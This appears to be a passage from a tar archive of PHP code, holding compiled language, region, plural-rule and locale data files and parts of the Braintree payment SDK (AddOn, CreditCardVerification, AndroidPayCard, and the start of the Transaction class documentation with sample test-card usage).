Nynorsk','no'=>'Norwegian','nqo'=>'N\'Ko','nr'=>'South Ndebele','nv'=>'Navajo','ny'=>'Nyanja','oc'=>'Occitan (post 1500)','oj'=>'Ojibwa','om'=>'Oromo','or'=>'Oriya','ory'=>'Oriya (individual language)','os'=>'Ossetian','pa'=>'Panjabi','pap'=>'Papiamento','pcd'=>'Picard','pcm'=>'Nigerian Pidgin','pi'=>'Pali','pl'=>'Polish','ps'=>'Pushto','pt'=>'Portuguese','qu'=>'Quechua','rhg'=>'Rohingya','rm'=>'Romansh','rn'=>'Rundi','ro'=>'Romanian','ru'=>'Russian','rw'=>'Kinyarwanda','sa'=>'Sanskrit','sah'=>'Yakut','sc'=>'Sardinian','scn'=>'Sicilian','sd'=>'Sindhi','se'=>'Northern Sami','sg'=>'Sango','sh'=>'Serbo-Croatian','si'=>'Sinhala','sk'=>'Slovak','skr'=>'Saraiki','sl'=>'Slovenian','sm'=>'Samoan','sn'=>'Shona','so'=>'Somali','sq'=>'Albanian','sr'=>'Serbian','ss'=>'Swati','st'=>'Southern Sotho','su'=>'Sundanese','sv'=>'Swedish','sw'=>'Swahili','syr'=>'Syriac','szl'=>'Silesian','ta'=>'Tamil','te'=>'Telugu','tg'=>'Tajik','th'=>'Thai','ti'=>'Tigrinya','tk'=>'Turkmen','tl'=>'Tagalog','tn'=>'Tswana','to'=>'Tonga (Tonga Islands)','tr'=>'Turkish','ts'=>'Tsonga','tt'=>'Tatar','tw'=>'Twi','twd'=>'Twents','ty'=>'Tahitian','tzm'=>'Central Atlas Tamazight','ug'=>'Uighur','uk'=>'Ukrainian','ur'=>'Urdu','uz'=>'Uzbek','ve'=>'Venda','vec'=>'Venetian','vi'=>'Vietnamese','vo'=>'Volapük','wa'=>'Walloon','wo'=>'Wolof','xh'=>'Xhosa','yi'=>'Yiddish','yo'=>'Yoruba','za'=>'Zhuang','zgh'=>'Standard Moroccan Tamazight','zh'=>'Chinese','zu'=>'Zulu','tlh'=>'Klingon'];����������������������������������������������������������������������������������������������������������������������data/regions.php������������������������������������������������������������������������������������0000644�����������������00000011721�14720677220�0007645 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Compiled data. Do not edit. */ return ['AD'=>'Andorra','AE'=>'United Arab Emirates','AF'=>'Afghanistan','AG'=>'Antigua and Barbuda','AI'=>'Anguilla','AL'=>'Albania','AM'=>'Armenia','AO'=>'Angola','AQ'=>'Antarctica','AR'=>'Argentina','AS'=>'American Samoa','AT'=>'Austria','AU'=>'Australia','AW'=>'Aruba','AX'=>'Åland Islands','AZ'=>'Azerbaijan','BA'=>'Bosnia and Herzegovina','BB'=>'Barbados','BD'=>'Bangladesh','BE'=>'Belgium','BF'=>'Burkina Faso','BG'=>'Bulgaria','BH'=>'Bahrain','BI'=>'Burundi','BJ'=>'Benin','BL'=>'Saint Barthélemy','BM'=>'Bermuda','BN'=>'Brunei Darussalam','BO'=>'Bolivia','BQ'=>'Bonaire, Sint Eustatius and Saba','BR'=>'Brazil','BS'=>'Bahamas','BT'=>'Bhutan','BV'=>'Bouvet Island','BW'=>'Botswana','BY'=>'Belarus','BZ'=>'Belize','CA'=>'Canada','CC'=>'Cocos (Keeling) Islands','CD'=>'The Democratic Republic of the Congo','CF'=>'Central African Republic','CG'=>'Congo','CH'=>'Switzerland','CI'=>'Côte d\'Ivoire','CK'=>'Cook Islands','CL'=>'Chile','CM'=>'Cameroon','CN'=>'China','CO'=>'Colombia','CR'=>'Costa Rica','CU'=>'Cuba','CV'=>'Cabo Verde; Cape Verde','CW'=>'Curaçao','CX'=>'Christmas Island','CY'=>'Cyprus','CZ'=>'Czech Republic','DE'=>'Germany','DJ'=>'Djibouti','DK'=>'Denmark','DM'=>'Dominica','DO'=>'Dominican Republic','DZ'=>'Algeria','EC'=>'Ecuador','EE'=>'Estonia','EG'=>'Egypt','EH'=>'Western Sahara','ER'=>'Eritrea','ES'=>'Spain','ET'=>'Ethiopia','FI'=>'Finland','FJ'=>'Fiji','FK'=>'Falkland Islands (Malvinas)','FM'=>'Federated States of Micronesia','FO'=>'Faroe Islands','FR'=>'France','GA'=>'Gabon','GB'=>'United Kingdom','GD'=>'Grenada','GE'=>'Georgia','GF'=>'French Guiana','GG'=>'Guernsey','GH'=>'Ghana','GI'=>'Gibraltar','GL'=>'Greenland','GM'=>'Gambia','GN'=>'Guinea','GP'=>'Guadeloupe','GQ'=>'Equatorial Guinea','GR'=>'Greece','GS'=>'South Georgia and the South Sandwich Islands','GT'=>'Guatemala','GU'=>'Guam','GW'=>'Guinea-Bissau','GY'=>'Guyana','HK'=>'Hong Kong','HM'=>'Heard Island and McDonald Islands','HN'=>'Honduras','HR'=>'Croatia','HT'=>'Haiti','HU'=>'Hungary','ID'=>'Indonesia','IE'=>'Ireland','IL'=>'Israel','IM'=>'Isle of Man','IN'=>'India','IO'=>'British Indian Ocean Territory','IQ'=>'Iraq','IR'=>'Islamic Republic of Iran','IS'=>'Iceland','IT'=>'Italy','JE'=>'Jersey','JM'=>'Jamaica','JO'=>'Jordan','JP'=>'Japan','KE'=>'Kenya','KG'=>'Kyrgyzstan','KH'=>'Cambodia','KI'=>'Kiribati','KM'=>'Comoros','KN'=>'Saint Kitts and Nevis','KP'=>'Democratic People\'s Republic of Korea','KR'=>'Republic of Korea','KW'=>'Kuwait','KY'=>'Cayman Islands','KZ'=>'Kazakhstan','LA'=>'Lao People\'s Democratic Republic','LB'=>'Lebanon','LC'=>'Saint Lucia','LI'=>'Liechtenstein','LK'=>'Sri Lanka','LR'=>'Liberia','LS'=>'Lesotho','LT'=>'Lithuania','LU'=>'Luxembourg','LV'=>'Latvia','LY'=>'Libya','MA'=>'Morocco','MC'=>'Monaco','MD'=>'Moldova','ME'=>'Montenegro','MF'=>'Saint Martin (French part)','MG'=>'Madagascar','MH'=>'Marshall Islands','MK'=>'The Former Yugoslav Republic of Macedonia','ML'=>'Mali','MM'=>'Myanmar','MN'=>'Mongolia','MO'=>'Macao','MP'=>'Northern Mariana Islands','MQ'=>'Martinique','MR'=>'Mauritania','MS'=>'Montserrat','MT'=>'Malta','MU'=>'Mauritius','MV'=>'Maldives','MW'=>'Malawi','MX'=>'Mexico','MY'=>'Malaysia','MZ'=>'Mozambique','NA'=>'Namibia','NC'=>'New Caledonia','NE'=>'Niger','NF'=>'Norfolk Island','NG'=>'Nigeria','NI'=>'Nicaragua','NL'=>'Netherlands','NO'=>'Norway','NP'=>'Nepal','NR'=>'Nauru','NU'=>'Niue','NZ'=>'New Zealand','OM'=>'Oman','PA'=>'Panama','PE'=>'Peru','PF'=>'French Polynesia','PG'=>'Papua New Guinea','PH'=>'Philippines','PK'=>'Pakistan','PL'=>'Poland','PM'=>'Saint Pierre and Miquelon','PN'=>'Pitcairn','PR'=>'Puerto Rico','PS'=>'State of Palestine','PT'=>'Portugal','PW'=>'Palau','PY'=>'Paraguay','QA'=>'Qatar','RE'=>'Réunion','RO'=>'Romania','RS'=>'Serbia','RU'=>'Russian Federation','RW'=>'Rwanda','SA'=>'Saudi Arabia','SB'=>'Solomon Islands','SC'=>'Seychelles','SD'=>'Sudan','SE'=>'Sweden','SG'=>'Singapore','SH'=>'Saint Helena, Ascension and Tristan da Cunha','SI'=>'Slovenia','SJ'=>'Svalbard and Jan Mayen','SK'=>'Slovakia','SL'=>'Sierra Leone','SM'=>'San Marino','SN'=>'Senegal','SO'=>'Somalia','SR'=>'Suriname','SS'=>'South Sudan','ST'=>'Sao Tome and Principe','SV'=>'El Salvador','SX'=>'Sint Maarten (Dutch part)','SY'=>'Syrian Arab Republic','SZ'=>'Swaziland','TC'=>'Turks and Caicos Islands','TD'=>'Chad','TF'=>'French Southern Territories','TG'=>'Togo','TH'=>'Thailand','TJ'=>'Tajikistan','TK'=>'Tokelau','TL'=>'Timor-Leste','TM'=>'Turkmenistan','TN'=>'Tunisia','TO'=>'Tonga','TR'=>'Turkey','TT'=>'Trinidad and Tobago','TV'=>'Tuvalu','TW'=>'Taiwan','TZ'=>'United Republic of Tanzania','UA'=>'Ukraine','UG'=>'Uganda','UM'=>'United States Minor Outlying Islands','US'=>'United States','UY'=>'Uruguay','UZ'=>'Uzbekistan','VA'=>'Holy See (Vatican City State)','VC'=>'Saint Vincent and the Grenadines','VE'=>'Venezuela','VG'=>'British Virgin Islands','VI'=>'U.S. Virgin Islands','VN'=>'Viet Nam','VU'=>'Vanuatu','WF'=>'Wallis and Futuna','WS'=>'Samoa','YE'=>'Yemen','YT'=>'Mayotte','ZA'=>'South Africa','ZM'=>'Zambia','ZW'=>'Zimbabwe','ZZ'=>'Private use'];�����������������������������������������������data/plurals.php������������������������������������������������������������������������������������0000644�����������������00000005633�14720677220�0007666 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Compiled data. Do not edit. */ return ['ak'=>1,'am'=>1,'ar'=>2,'ary'=>2,'be'=>3,'bm'=>4,'bo'=>4,'br'=>1,'bs'=>3,'cs'=>5,'cy'=>6,'dz'=>4,'ff'=>1,'fr'=>1,'ga'=>7,'gd'=>8,'gv'=>9,'hr'=>10,'id'=>4,'ii'=>4,'iu'=>11,'ja'=>4,'ka'=>4,'kk'=>4,'km'=>4,'kn'=>4,'ko'=>4,'kw'=>11,'ky'=>4,'ln'=>1,'lo'=>4,'lt'=>12,'lv'=>13,'mg'=>1,'mi'=>1,'mk'=>14,'ms'=>4,'mt'=>15,'my'=>4,'nr'=>4,'oc'=>1,'pl'=>16,'ro'=>17,'ru'=>3,'sa'=>11,'sg'=>4,'sk'=>5,'sl'=>18,'sm'=>4,'sr'=>3,'su'=>4,'th'=>4,'ti'=>1,'tl'=>1,'to'=>4,'tt'=>4,'ug'=>4,'uk'=>3,'vi'=>4,'wa'=>1,'wo'=>4,'yo'=>4,'zh'=>4,''=>[0=>[0=>'n != 1',1=>[1=>'one','0,2,3…'=>'other']],1=>[0=>'n > 1',1=>['0,1'=>'one','2,3,4…'=>'other']],2=>[0=>'n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100 >= 3 && n%100<=10 ? 3 : n%100 >= 11 && n%100<=99 ? 4 : 5',1=>[0=>'zero',1=>'one',2=>'two','3,4,5…'=>'few','11,12,13…'=>'many','100,101,102…'=>'other']],3=>[0=>'(n%10==1 && n%100!=11 ? 0 : n%10 >= 2 && n%10<=4 &&(n%100<10||n%100 >= 20)? 1 : 2)',1=>['1,21,31…'=>'one','2,3,4…'=>'few','0,5,6…'=>'other']],4=>[0=>'0',1=>['0,1,2…'=>'other']],5=>[0=>'( n == 1 ) ? 0 : ( n >= 2 && n <= 4 ) ? 1 : 2',1=>[1=>'one','2,3,4'=>'few','0,5,6…'=>'other']],6=>[0=>'n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n==3 ? 3 : n==6 ? 4 : 5',1=>[0=>'zero',1=>'one',2=>'two',3=>'few',6=>'many','4,5,7…'=>'other']],7=>[0=>'n==1 ? 0 : n==2 ? 1 : n<7 ? 2 : n<11 ? 3 : 4',1=>[1=>'one',2=>'two','0,3,4…'=>'few','7,8,9…'=>'many','11,12,13…'=>'other']],8=>[0=>'n==1||n==11 ? 0 : n==2||n==12 ? 1 :(n >= 3 && n<=10)||(n >= 13 && n<=19)? 2 : 3',1=>['1,11'=>'one','2,12'=>'two','3,4,5…'=>'few','0,20,21…'=>'other']],9=>[0=>'n%10==1 ? 0 : n%10==2 ? 1 : n%20==0 ? 2 : 3',1=>['1,11,21…'=>'one','2,12,22…'=>'two','0,20,100…'=>'few','3,4,5…'=>'other']],10=>[0=>'n%10==1 && n%100!=11 ? 0 : n%10 >= 2 && n%10<=4 &&(n%100<10||n%100 >= 20)? 1 : 2',1=>['1,21,31…'=>'one','2,3,4…'=>'few','0,5,6…'=>'other']],11=>[0=>'n == 1 ? 0 : n == 2 ? 1 : 2',1=>[1=>'one',2=>'two','0,3,4…'=>'other']],12=>[0=>'(n%10==1 && n%100!=11 ? 0 : n%10 >= 2 &&(n%100<10||n%100 >= 20)? 1 : 2)',1=>['1,21,31…'=>'one','2,3,4…'=>'few','0,10,11…'=>'other']],13=>[0=>'n%10==0||( n%100 >= 11 && n%100<=19)? 0 :(n%10==1 && n%100!=11 ? 1 : 2)',1=>['0,10,11…'=>'zero','1,21,31…'=>'one','2,3,4…'=>'other']],14=>[0=>'( n % 10 == 1 && n % 100 != 11 ) ? 0 : 1',1=>['1,21,31…'=>'one','0,2,3…'=>'other']],15=>[0=>'(n==1 ? 0 : n==0||( n%100>1 && n%100<11)? 1 :(n%100>10 && n%100<20)? 2 : 3)',1=>[1=>'one','0,2,3…'=>'few','11,12,13…'=>'many','20,21,22…'=>'other']],16=>[0=>'(n==1 ? 0 : n%10 >= 2 && n%10<=4 &&(n%100<10||n%100 >= 20)? 1 : 2)',1=>[1=>'one','2,3,4…'=>'few','0,5,6…'=>'other']],17=>[0=>'(n==1 ? 0 :(((n%100>19)||(( n%100==0)&&(n!=0)))? 2 : 1))',1=>[1=>'one','0,2,3…'=>'few','20,21,22…'=>'other']],18=>[0=>'n%100==1 ? 0 : n%100==2 ? 1 : n%100==3||n%100==4 ? 2 : 3',1=>['1,101,201…'=>'one','2,102,202…'=>'two','3,4,103…'=>'few','0,5,6…'=>'other']]]]; �����������������������������������������������������������������������������������������������������data/locales.php������������������������������������������������������������������������������������0000644�����������������00000014232�14720677220�0007621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Compiled data. Do not edit. */ return ['af'=>[0=>'Afrikaans',1=>'Afrikaans'],'am'=>[0=>'Amharic',1=>'አማርኛ'],'arg'=>[0=>'Aragonese',1=>'Aragonés'],'ar'=>[0=>'Arabic',1=>'العربية'],'ary'=>[0=>'Moroccan Arabic',1=>'العربية المغربية'],'as'=>[0=>'Assamese',1=>'অসমীয়া'],'azb'=>[0=>'South Azerbaijani',1=>'گؤنئی آذربایجان'],'az'=>[0=>'Azerbaijani',1=>'Azərbaycan dili'],'bel'=>[0=>'Belarusian',1=>'Беларуская мова'],'bg_BG'=>[0=>'Bulgarian',1=>'Български'],'bn_BD'=>[0=>'Bengali (Bangladesh)',1=>'বাংলা'],'bo'=>[0=>'Tibetan',1=>'བོད་ཡིག'],'bs_BA'=>[0=>'Bosnian',1=>'Bosanski'],'ca'=>[0=>'Catalan',1=>'Català'],'ceb'=>[0=>'Cebuano',1=>'Cebuano'],'cs_CZ'=>[0=>'Czech',1=>'Čeština'],'cy'=>[0=>'Welsh',1=>'Cymraeg'],'da_DK'=>[0=>'Danish',1=>'Dansk'],'de_AT'=>[0=>'German (Austria)',1=>'Deutsch (Österreich)'],'de_DE'=>[0=>'German',1=>'Deutsch'],'de_DE_formal'=>[0=>'German (Formal)',1=>'Deutsch (Sie)'],'de_CH'=>[0=>'German (Switzerland)',1=>'Deutsch (Schweiz)'],'de_CH_informal'=>[0=>'German (Switzerland, Informal)',1=>'Deutsch (Schweiz, Du)'],'dsb'=>[0=>'Lower Sorbian',1=>'Dolnoserbšćina'],'dzo'=>[0=>'Dzongkha',1=>'རྫོང་ཁ'],'el'=>[0=>'Greek',1=>'Ελληνικά'],'en_ZA'=>[0=>'English (South Africa)',1=>'English (South Africa)'],'en_GB'=>[0=>'English (UK)',1=>'English (UK)'],'en_CA'=>[0=>'English (Canada)',1=>'English (Canada)'],'en_NZ'=>[0=>'English (New Zealand)',1=>'English (New Zealand)'],'en_AU'=>[0=>'English (Australia)',1=>'English (Australia)'],'eo'=>[0=>'Esperanto',1=>'Esperanto'],'es_AR'=>[0=>'Spanish (Argentina)',1=>'Español de Argentina'],'es_CL'=>[0=>'Spanish (Chile)',1=>'Español de Chile'],'es_ES'=>[0=>'Spanish (Spain)',1=>'Español'],'es_CO'=>[0=>'Spanish (Colombia)',1=>'Español de Colombia'],'es_VE'=>[0=>'Spanish (Venezuela)',1=>'Español de Venezuela'],'es_CR'=>[0=>'Spanish (Costa Rica)',1=>'Español de Costa Rica'],'es_EC'=>[0=>'Spanish (Ecuador)',1=>'Español de Ecuador'],'es_PE'=>[0=>'Spanish (Peru)',1=>'Español de Perú'],'es_DO'=>[0=>'Spanish (Dominican Republic)',1=>'Español de República Dominicana'],'es_UY'=>[0=>'Spanish (Uruguay)',1=>'Español de Uruguay'],'es_PR'=>[0=>'Spanish (Puerto Rico)',1=>'Español de Puerto Rico'],'es_MX'=>[0=>'Spanish (Mexico)',1=>'Español de México'],'es_GT'=>[0=>'Spanish (Guatemala)',1=>'Español de Guatemala'],'et'=>[0=>'Estonian',1=>'Eesti'],'eu'=>[0=>'Basque',1=>'Euskara'],'fa_IR'=>[0=>'Persian',1=>'فارسی'],'fa_AF'=>[0=>'Persian (Afghanistan)',1=>'(فارسی (افغانستان'],'fi'=>[0=>'Finnish',1=>'Suomi'],'fr_FR'=>[0=>'French (France)',1=>'Français'],'fr_BE'=>[0=>'French (Belgium)',1=>'Français de Belgique'],'fr_CA'=>[0=>'French (Canada)',1=>'Français du Canada'],'fur'=>[0=>'Friulian',1=>'Friulian'],'fy'=>[0=>'Frisian',1=>'Frysk'],'gd'=>[0=>'Scottish Gaelic',1=>'Gàidhlig'],'gl_ES'=>[0=>'Galician',1=>'Galego'],'gu'=>[0=>'Gujarati',1=>'ગુજરાતી'],'haz'=>[0=>'Hazaragi',1=>'هزاره گی'],'he_IL'=>[0=>'Hebrew',1=>'עִבְרִית'],'hi_IN'=>[0=>'Hindi',1=>'हिन्दी'],'hr'=>[0=>'Croatian',1=>'Hrvatski'],'hsb'=>[0=>'Upper Sorbian',1=>'Hornjoserbšćina'],'hu_HU'=>[0=>'Hungarian',1=>'Magyar'],'hy'=>[0=>'Armenian',1=>'Հայերեն'],'id_ID'=>[0=>'Indonesian',1=>'Bahasa Indonesia'],'is_IS'=>[0=>'Icelandic',1=>'Íslenska'],'it_IT'=>[0=>'Italian',1=>'Italiano'],'ja'=>[0=>'Japanese',1=>'日本語'],'jv_ID'=>[0=>'Javanese',1=>'Basa Jawa'],'ka_GE'=>[0=>'Georgian',1=>'ქართული'],'kab'=>[0=>'Kabyle',1=>'Taqbaylit'],'kk'=>[0=>'Kazakh',1=>'Қазақ тілі'],'km'=>[0=>'Khmer',1=>'ភាសាខ្មែរ'],'kn'=>[0=>'Kannada',1=>'ಕನ್ನಡ'],'ko_KR'=>[0=>'Korean',1=>'한국어'],'ckb'=>[0=>'Kurdish (Sorani)',1=>'كوردی‎'],'kir'=>[0=>'Kyrgyz',1=>'Кыргызча'],'lo'=>[0=>'Lao',1=>'ພາສາລາວ'],'lt_LT'=>[0=>'Lithuanian',1=>'Lietuvių kalba'],'lv'=>[0=>'Latvian',1=>'Latviešu valoda'],'mk_MK'=>[0=>'Macedonian',1=>'Македонски јазик'],'ml_IN'=>[0=>'Malayalam',1=>'മലയാളം'],'mn'=>[0=>'Mongolian',1=>'Монгол'],'mr'=>[0=>'Marathi',1=>'मराठी'],'ms_MY'=>[0=>'Malay',1=>'Bahasa Melayu'],'my_MM'=>[0=>'Myanmar (Burmese)',1=>'ဗမာစာ'],'nb_NO'=>[0=>'Norwegian (Bokmål)',1=>'Norsk bokmål'],'ne_NP'=>[0=>'Nepali',1=>'नेपाली'],'nl_NL_formal'=>[0=>'Dutch (Formal)',1=>'Nederlands (Formeel)'],'nl_NL'=>[0=>'Dutch',1=>'Nederlands'],'nl_BE'=>[0=>'Dutch (Belgium)',1=>'Nederlands (België)'],'nn_NO'=>[0=>'Norwegian (Nynorsk)',1=>'Norsk nynorsk'],'oci'=>[0=>'Occitan',1=>'Occitan'],'pa_IN'=>[0=>'Panjabi (India)',1=>'ਪੰਜਾਬੀ'],'pl_PL'=>[0=>'Polish',1=>'Polski'],'ps'=>[0=>'Pashto',1=>'پښتو'],'pt_PT'=>[0=>'Portuguese (Portugal)',1=>'Português'],'pt_PT_ao90'=>[0=>'Portuguese (Portugal, AO90)',1=>'Português (AO90)'],'pt_AO'=>[0=>'Portuguese (Angola)',1=>'Português de Angola'],'pt_BR'=>[0=>'Portuguese (Brazil)',1=>'Português do Brasil'],'rhg'=>[0=>'Rohingya',1=>'Ruáinga'],'ro_RO'=>[0=>'Romanian',1=>'Română'],'ru_RU'=>[0=>'Russian',1=>'Русский'],'sah'=>[0=>'Sakha',1=>'Сахалыы'],'snd'=>[0=>'Sindhi',1=>'سنڌي'],'si_LK'=>[0=>'Sinhala',1=>'සිංහල'],'sk_SK'=>[0=>'Slovak',1=>'Slovenčina'],'skr'=>[0=>'Saraiki',1=>'سرائیکی'],'sl_SI'=>[0=>'Slovenian',1=>'Slovenščina'],'sq'=>[0=>'Albanian',1=>'Shqip'],'sr_RS'=>[0=>'Serbian',1=>'Српски језик'],'sv_SE'=>[0=>'Swedish',1=>'Svenska'],'sw'=>[0=>'Swahili',1=>'Kiswahili'],'szl'=>[0=>'Silesian',1=>'Ślōnskŏ gŏdka'],'ta_IN'=>[0=>'Tamil',1=>'தமிழ்'],'ta_LK'=>[0=>'Tamil (Sri Lanka)',1=>'தமிழ்'],'te'=>[0=>'Telugu',1=>'తెలుగు'],'th'=>[0=>'Thai',1=>'ไทย'],'tl'=>[0=>'Tagalog',1=>'Tagalog'],'tr_TR'=>[0=>'Turkish',1=>'Türkçe'],'tt_RU'=>[0=>'Tatar',1=>'Татар теле'],'tah'=>[0=>'Tahitian',1=>'Reo Tahiti'],'ug_CN'=>[0=>'Uighur',1=>'ئۇيغۇرچە'],'uk'=>[0=>'Ukrainian',1=>'Українська'],'ur'=>[0=>'Urdu',1=>'اردو'],'uz_UZ'=>[0=>'Uzbek',1=>'O‘zbekcha'],'vi'=>[0=>'Vietnamese',1=>'Tiếng Việt'],'zh_CN'=>[0=>'Chinese (China)',1=>'简体中文'],'zh_HK'=>[0=>'Chinese (Hong Kong)',1=>'香港中文'],'zh_TW'=>[0=>'Chinese (Taiwan)',1=>'繁體中文']]; ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/AddOn.php�������������������������������������������������������������������0000644�����������������00000002042�14720677707�0012715 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $amount * @property-read \DateTime $createdAt * @property-read int|null $currentBillingCycle * @property-read string $description * @property-read string $id * @property-read string|null $kind * @property-read string $merchantId * @property-read string $name * @property-read boolean $neverExpires * @property-read int|null $numberOfBillingCycles * @property-read int|null $quantity * @property-read \DateTime $updatedAt */ class AddOn extends Modification { /** * * @param array $attributes * @return AddOn */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * static methods redirecting to gateway * * @return AddOn[] */ public static function all() { return Configuration::gateway()->addOn()->all(); } } class_alias('Braintree\AddOn', 'Braintree_AddOn'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CreditCardVerification.php��������������������������������������������������0000644�����������������00000004312�14720677707�0016301 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * {@inheritdoc} * * @property-read string $amount * @property-read mixed $billing * @property-read string $company * @property-read string $countryName * @property-read string $extendedAddress * @property-read string $firstName * @property-read string $lastName * @property-read string $locality * @property-read string $postalCode * @property-read string $region * @property-read string $streetAddress * @property-read \DateTime $createdAt * @property-read \Braintree\CreditCard $creditCard * @property-read string|null $gatewayRejectionReason * @property-read string $id * @property-read string $merchantAccountId * @property-read string $processorResponseCode * @property-read string $processorResponseText * @property-read string $processorResponseType * @property-read \Braintree\RiskData|null $riskData */ class CreditCardVerification extends Result\CreditCardVerification { public static function factory($attributes) { $instance = new self($attributes); return $instance; } // static methods redirecting to gateway // public static function create($attributes) { Util::verifyKeys(self::createSignature(), $attributes); return Configuration::gateway()->creditCardVerification()->create($attributes); } public static function fetch($query, $ids) { return Configuration::gateway()->creditCardVerification()->fetch($query, $ids); } public static function search($query) { return Configuration::gateway()->creditCardVerification()->search($query); } public static function createSignature() { return [ ['options' => ['amount', 'merchantAccountId', 'accountType']], ['creditCard' => [ 'cardholderName', 'cvv', 'number', 'expirationDate', 'expirationMonth', 'expirationYear', ['billingAddress' => CreditCardGateway::billingAddressSignature()] ] ]]; } } class_alias('Braintree\CreditCardVerification', 'Braintree_CreditCardVerification'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/AndroidPayCard.php����������������������������������������������������������0000644�����������������00000005243�14720677707�0014562 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree AndroidPayCard module * Creates and manages Braintree Android Pay cards * * <b>== More information ==</b> * * See {@link https://developers.braintreepayments.com/javascript+php}<br /> * * @package Braintree * @category Resources * * @property-read string $bin * @property-read string $cardType * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read boolean $default * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $googleTransactionId * @property-read string $imageUrl * @property-read string $last4 * @property-read string $sourceCardLast4 * @property-read string $sourceCardType * @property-read string $sourceDescription * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read \DateTime $updatedAt * @property-read string $virtualCardLast4 * @property-read string $virtualCardType */ class AndroidPayCard extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * factory method: returns an instance of AndroidPayCard * to the requesting method, with populated properties * * @ignore * @return AndroidPayCard */ public static function factory($attributes) { $defaultAttributes = [ 'expirationMonth' => '', 'expirationYear' => '', 'last4' => $attributes['virtualCardLast4'], 'cardType' => $attributes['virtualCardType'], ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } /** * sets instance properties from an array of values * * @access protected * @param array $androidPayCardAttribs array of Android Pay card properties * @return void */ protected function _initialize($androidPayCardAttribs) { // set the attributes $this->_attributes = $androidPayCardAttribs; $subscriptionArray = []; if (isset($androidPayCardAttribs['subscriptions'])) { foreach ($androidPayCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); } } class_alias('Braintree\AndroidPayCard', 'Braintree_AndroidPayCard'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction.php�������������������������������������������������������������0000644�����������������00000056221�14720677707�0014225 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Transaction processor * Creates and manages transactions * * At minimum, an amount, credit card number, and * credit card expiration date are required. * * <b>Minimalistic example:</b> * <code> * Transaction::saleNoValidate(array( * 'amount' => '100.00', * 'creditCard' => array( * 'number' => '5105105105105100', * 'expirationDate' => '05/12', * ), * )); * </code> * * <b>Full example:</b> * <code> * Transaction::saleNoValidate(array( * 'amount' => '100.00', * 'orderId' => '123', * 'channel' => 'MyShoppingCardProvider', * 'creditCard' => array( * // if token is omitted, the gateway will generate a token * 'token' => 'credit_card_123', * 'number' => '5105105105105100', * 'expirationDate' => '05/2011', * 'cvv' => '123', * ), * 'customer' => array( * // if id is omitted, the gateway will generate an id * 'id' => 'customer_123', * 'firstName' => 'Dan', * 'lastName' => 'Smith', * 'company' => 'Braintree', * 'email' => 'dan@example.com', * 'phone' => '419-555-1234', * 'fax' => '419-555-1235', * 'website' => 'http://braintreepayments.com' * ), * 'billing' => array( * 'firstName' => 'Carl', * 'lastName' => 'Jones', * 'company' => 'Braintree', * 'streetAddress' => '123 E Main St', * 'extendedAddress' => 'Suite 403', * 'locality' => 'Chicago', * 'region' => 'IL', * 'postalCode' => '60622', * 'countryName' => 'United States of America' * ), * 'shipping' => array( * 'firstName' => 'Andrew', * 'lastName' => 'Mason', * 'company' => 'Braintree', * 'streetAddress' => '456 W Main St', * 'extendedAddress' => 'Apt 2F', * 'locality' => 'Bartlett', * 'region' => 'IL', * 'postalCode' => '60103', * 'countryName' => 'United States of America' * ), * 'customFields' => array( * 'birthdate' => '11/13/1954' * ) * ) * </code> * * <b>== Storing in the Vault ==</b> * * The customer and credit card information used for * a transaction can be stored in the vault by setting * <i>transaction[options][storeInVault]</i> to true. * <code> * $transaction = Transaction::saleNoValidate(array( * 'customer' => array( * 'firstName' => 'Adam', * 'lastName' => 'Williams' * ), * 'creditCard' => array( * 'number' => '5105105105105100', * 'expirationDate' => '05/2012' * ), * 'options' => array( * 'storeInVault' => true * ) * )); * * echo $transaction->customerDetails->id * // '865534' * echo $transaction->creditCardDetails->token * // '6b6m' * </code> * * To also store the billing address in the vault, pass the * <b>addBillingAddressToPaymentMethod</b> option. * <code> * Transaction.saleNoValidate(array( * ... * 'options' => array( * 'storeInVault' => true * 'addBillingAddressToPaymentMethod' => true * ) * )); * </code> * * <b>== Submitting for Settlement==</b> * * This can only be done when the transction's * status is <b>authorized</b>. If <b>amount</b> is not specified, * the full authorized amount will be settled. If you would like to settle * less than the full authorized amount, pass the desired amount. * You cannot settle more than the authorized amount. * * A transaction can be submitted for settlement when created by setting * $transaction[options][submitForSettlement] to true. * * <code> * $transaction = Transaction::saleNoValidate(array( * 'amount' => '100.00', * 'creditCard' => array( * 'number' 